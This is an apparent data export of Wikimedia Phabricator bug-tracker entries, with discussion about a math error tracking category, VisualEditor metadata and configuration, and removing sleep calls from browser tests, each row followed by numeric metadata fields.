+Bug 72240 will make it better again. I'll try to migrate this feature from MathSearch to the Math extension.",,,1413745226,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,67,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+214668,Add tracking category to pages with errors in <math>,"This error is made worse by the difference between the syntax used in MathJax and texvc. In
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=569279227#Math_text_that_doesn.27t_parse_when_in_VE
+a unicode character was used in a formula, the editor was probably using MathJax so the error did not show up. There seem to be a few such errors. A google search https://www.google.co.uk/search?q=%22Failed+to+parse%22+site:en.wikipedia.org+-Talk%3A
+can be used to find some.",,,1376979625,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,3,False,,,7,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0
+214664,Add tracking category to pages with errors in <math>,"**physik** wrote:
+
+This is already a feature of the MathSearch extension.",,,1365506334,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fr22j5swh5wt5gmpgdnh,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+49025,VisualEditor: Part of MetaList should be moved into Document,"Per IRC discussion between me and Trevor:
+
+* Move list of MetaItems to dm.Document
+* Keep MetaList (possibly rename it) with current API, wraps around list of items in Document
+* MetaList takes a surface, and can make changes using that surface
+* MetaItem.remove method will have to be removed, because it can't call back into the surface
+
+(This is for post-July)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1365460200,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-r3vxaorhac46omf45tpw,task_description,open,True,c1,1,False,False,,-12,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+48954,VisualEditor: Any transaction which results in metadata being merged won't rollback cleanly,"Take the document:
+
+<!-- meta -->content<!-- data -->
+
+If you remove all of ""content"", the two comments now have to share an offset in the metadata array but this process is not recorded in the transaction. As a result, when the commit is rolled-back the comments aren't re-split so the resulting doc is:
+
+content<!-- meta --><!-- data -->
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1365265140,1366664733.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vebapwqy2gnmj6e46row,task_description,resolved,True,c1,1,True,False,True,-13,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+210148,VisualEditor: Any transaction which results in metadata being merged won't rollback cleanly,Related URL: https://gerrit.wikimedia.org/r/57850 (Gerrit Change I4edad1c2dd37c723bff2792bab7d694ef17a86dc),,,1365266744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vebapwqy2gnmj6e46row,task_subcomment,,True,c1,1,False,,,-13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48887,"Remove ""sleep"" from tests","We are using `sleep` in several places. Sleep is evil. The code should be refactored so the sleep is removed.
+
+There are more robust ways to wait for something to happen than using sleep:
+
+http://watirwebdriver.com/waiting/
+https://github.com/cheezy/page-object/wiki/Ajax-Calls
+
+```
+$ grep --include *.rb  -R -F 'sleep' .
+
+./wmde/WikidataBrowserTests/tests/browser/features/support/env.rb:  sleep env_no * 4 # sleep time to give webdriver time to setup
+./wmde/WikidataBrowserTests/tests/browser/features/support/modules/entity_module.rb:    sleep(1.0 / 3) while execute_script('return jQuery.active') != 0
+./wmde/WikidataBrowserTests/tests/browser/features/support/modules/entity_module.rb:    sleep 1
+
+./mediawiki/selenium/features/step_definitions/environment_steps.rb:    sleep 0.3
+
+./mediawiki/vagrant/mediawiki/extensions/CirrusSearch/tests/browser/features/step_definitions/general_steps.rb:  sleep(Integer(seconds))
+./mediawiki/vagrant/mediawiki/extensions/CirrusSearch/tests/browser/features/step_definitions/search_steps.rb:    sleep(5)
+./mediawiki/vagrant/mediawiki/extensions/CirrusSearch/tests/browser/features/step_definitions/search_steps.rb:    sleep 1
+
+./mediawiki/vagrant/mediawiki/extensions/Gather/tests/browser/features/step_definitions/common_steps.rb:  sleep 5
+./mediawiki/vagrant/mediawiki/extensions/Gather/tests/browser/features/step_definitions/edit_collection_steps.rb:  sleep 5
+
+./mediawiki/vagrant/mediawiki/extensions/MobileFrontend/tests/browser/features/step_definitions/editor_ve_steps.rb:    sleep 2 # this gets around a race condition bug in ChromeDriver where both the confirm and the toast are in the page at once, and Chrome reports either ""stale element reference: element is not attached to the page document"" or ""Element does not exist in cache""
+./mediawiki/vagrant/mediawiki/extensions/MobileFrontend/tests/browser/features/step_definitions/notification_steps.rb:  sleep 1
+./mediawiki/vagrant/mediawiki/extensions/MobileFrontend/tests/browser/features/step_definitions/notification_steps.rb:  sleep seconds.to_i
+
+./mediawiki/vagrant/mediawiki/extensions/MultimediaViewer/tests/browser/features/step_definitions/mmv_download_steps.rb:  sleep 1
+
+./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:    sleep 1 # Sleep because of annoying JS animation happening in this menu
+./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:    sleep 1 # Sleep because of annoying JS animation happening in this menu
+./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:    sleep 1 # Sleep because of annoying JS animation happening in this menu
+./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:    sleep 1 # Sleep because of annoying JS animation happening in this menu
+./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:  sleep 0.5 # Sleep because of annoying JS animation happening in the date picker
+
+./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/cite_steps.rb:      sleep 1
+./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/cite_steps.rb:      sleep 1
+./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/cite_steps.rb:      sleep 1
+./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/cite_steps.rb:      sleep 1
+./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/media_interface_steps.rb:    sleep 1
+```
+
+
+
+
+
+
+
+",Low,25.0,1365078180,1495812867.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-tux6tzschtwynlmfypkk,task_description,declined,True,c1,1,True,True,False,-13,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+865840,"Remove ""sleep"" from tests",Unlikely to ever be resolved because of {T139740}.,,,1495812867,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,203,,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+230947,"Remove ""sleep"" from tests","We can keep this open.  I actually just added a sleep to a test because I needed to get on with other things, and I should return to fix it at some point.",,,1405701499,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,54,,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+230937,"Remove ""sleep"" from tests","(In reply to Andre Klapper from comment #18)
+> Are there more tests containing sleep or is this fixed?
+> 
+> Tony: Are you still working on this or should the assignee be reset to
+> default?
+I think there are a few more sleep keywords to be removed. Sorry, but I dont think I will be able to continue on this right now. Resetting to default assignee for the time being.",,,1405688273,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,54,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+230930,"Remove ""sleep"" from tests","Are there more tests containing sleep or is this fixed?
+
+Tony: Are you still working on this or should the assignee be reset to default?",,,1405687592,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,54,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0
+230925,"Remove ""sleep"" from tests",All patches merged => resetting status from PATCH_TO_REVIEW to NEW,,,1394711816,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,36,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+230920,"Remove ""sleep"" from tests","Change 109471 merged by jenkins-bot:
+Removed sleep variable from TwnMainPage tests
+
+https://gerrit.wikimedia.org/r/109471",,,1390904723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+230916,"Remove ""sleep"" from tests","Cirrus has two sleeps:
+1.  It waits for some suggestions not to appear.  Without reworking the error handling in the javascript I can't remove this.  I don't feel up to reworking that right now.
+2.  It sleeps between the creation of two pages that it uses to test searches that prefer pages with recent edits.  If I could backdate edit times then I wouldn't need it but I can't at this point.
+
+In total Cirrus sleeps 35 seconds because each of the above is executed once.  It could be better but it could be worse.",,,1390833772,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,30,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+230912,"Remove ""sleep"" from tests","Change 109471 had a related patch set uploaded by 01tonythomas:
+Removed sleep variable from TwnMainPage tests
+
+https://gerrit.wikimedia.org/r/109471",,,1390656466,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+230907,"Remove ""sleep"" from tests","Change 108916 merged by Cmcmahon:
+Replaced sleep with page-object gem waiting API
+
+https://gerrit.wikimedia.org/r/108916",,,1390407465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+230901,"Remove ""sleep"" from tests","Change 108918 merged by jenkins-bot:
+Removed sleep with waiting API in browsertests
+
+https://gerrit.wikimedia.org/r/108918",,,1390403834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+230895,"Remove ""sleep"" from tests","Change 108918 had a related patch set uploaded by 01tonythomas:
+Removed sleep with waiting API in browsertests
+
+https://gerrit.wikimedia.org/r/108918",,,1390402787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+230890,"Remove ""sleep"" from tests","Change 108916 had a related patch set uploaded by Zfilipin:
+Replaced sleep with page-object gem waiting API
+
+https://gerrit.wikimedia.org/r/108916",,,1390401099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+230885,"Remove ""sleep"" from tests","(In reply to comment #8)
+> Tony and I have paired on getting his environment set up to work on this.
+I will put my status in [QA] once I have made my environment ready.",,,1389959040,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+230879,"Remove ""sleep"" from tests","Tony and I have paired on getting his environment set up to work on this. Tony, if you still are interested in working on this, feel free to assign the bug to yourself. Let me know if you need help.",,,1389957541,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+538885,"Remove ""sleep"" from tests",,,,1443702073,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+230873,"Remove ""sleep"" from tests",,,,1389430912,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,27,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+230866,"Remove ""sleep"" from tests","Tony Thomas:  just removing the code is not enough.  The tests have to be made to wait properly for whatever it is they are waiting for.  
+
+Using sleep() is either an interim step that never got completed, or else the person writing the test could not think of a better way to wait for whatever the test needs.  
+
+So the tests need to be updated in a thoughtful way so that they wait correctly without using sleep() but also without failing mistakenly.",,,1389377877,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,27,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+230860,"Remove ""sleep"" from tests","(In reply to comment #3)
+> Sleep statements found:
+> 
+Removing the code from the following places will do ?",,,1389377680,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,27,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1
+538884,"Remove ""sleep"" from tests",,,,1443702056,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+230856,"Remove ""sleep"" from tests",,,,1386004108,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+538881,"Remove ""sleep"" from tests",,,,1443701949,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+230850,"Remove ""sleep"" from tests",,,,1384961357,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+538883,"Remove ""sleep"" from tests",,,,1443702034,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+230843,"Remove ""sleep"" from tests",,,,1384960949,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+538882,"Remove ""sleep"" from tests",,,,1443701981,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+230837,"Remove ""sleep"" from tests",,,,1381410981,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+48871,VisualEditor: mw.ViewPageTarget tabLayout should be configurable as part of mw-config,"mw.ViewPageTarget tabLayout is currently hard-coded, which means that we can't have VE work in replace mode on one wiki and add mode on another.
+
+[No doubt other aspects of the integration configuration should not be hard-coded.]
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1365032760,1370485930.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-iciq5e24fktvreyuptk3,task_description,resolved,True,c1,1,True,False,True,-13,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+229986,VisualEditor: mw.ViewPageTarget tabLayout should be configurable as part of mw-config,Related URL: https://gerrit.wikimedia.org/r/66881 (Gerrit Change I3fcb0c2903ae62d61ff789b5504e0ea23932121b),,,1370298230,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-iciq5e24fktvreyuptk3,task_subcomment,,True,c1,1,False,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48580,Create a VisualEditor plugin to integrate with ProofreadPage,"Page: pages are not plain wikitext pages but are split into three textareas: header, footer and body and a proofreading level tag (note 1).
+So, an adaptation of the VisualEditor to these pages is needed in order to make edition of the pages work.
+
+The UI need to be tweaked in order to allow the splitting of the main textarea into three and the edition of the Proofreading level at the save of page as it works currently for wikitext editing (example: https://en.wikisource.org/w/index.php?title=Page:La_Fontaine_-_The_Original_Fables_Of,_1913.djvu/20&action=edit ).
+
+An other useful (but less important thing) things is to add modules to the Visual Editor to support specific tags used by Wikisource like <pages>, <section> and <poem>.
+
+note 1: structure of the page as save in the database:
+<noinclude><pagequality level=""LEVEL"" user=""LAST PROOFREADER"" />HEADER<div class=""pagetext"">BODY<noinclude>FOOTER</noinclude>
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+This card tracks a proposal from the 2015 Community Wishlist Survey: https://meta.wikimedia.org/wiki/2015_Community_Wishlist_Survey
+
